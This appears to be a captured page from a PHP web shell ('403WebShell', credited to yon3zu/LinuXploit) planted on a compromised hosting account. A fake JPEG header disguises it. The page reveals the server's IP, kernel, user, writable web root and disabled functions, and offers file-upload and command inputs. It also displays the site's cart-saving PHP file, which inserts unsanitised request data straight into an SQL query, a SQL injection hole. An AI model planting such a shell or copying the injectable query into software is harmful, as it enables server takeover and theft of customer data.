���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/jeevikagaumaa.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/jeevikagaumaa.in/public_html/save_cart_data.php
<?php
session_start();
include './action/config.php';

// Get the JSON data from the POST request
$cartJson = file_get_contents('php://input');

$cartData = json_decode($cartJson, true);
$date = date('Y-m-d');

if (is_array($cartData)) {
    $order_id = $_SESSION['order_id'];
    $userid = $_SESSION['userid'];
    $txnid = rand();

    foreach ($cartData as $item) {
        $p_id = $item['id'];
        $pname = $item['name'];
        $quantity = $item['quantity'];
        $price = $item['price'];
        $img1 = $item['img'];
        // Insert into the `sales_item` table
        $query = "INSERT INTO `sales_item` (`userid`, `p_id`, `pname`, `quantity`, `price`, `img1`, `order_id`, `date`) 
                  VALUES ('$userid', '$p_id', '$pname', '$quantity', '$price', '$img1', '$order_id', '$date')";
        mysqli_query($con, $query);
    }

    // Send a success response
    echo json_encode(['status' => 'success']);
} else {
    // Send an error response
    echo json_encode(['status' => 'error', 'message' => 'Invalid cart data']);
}

Youez - 2016 - github.com/yon3zu
LinuXploit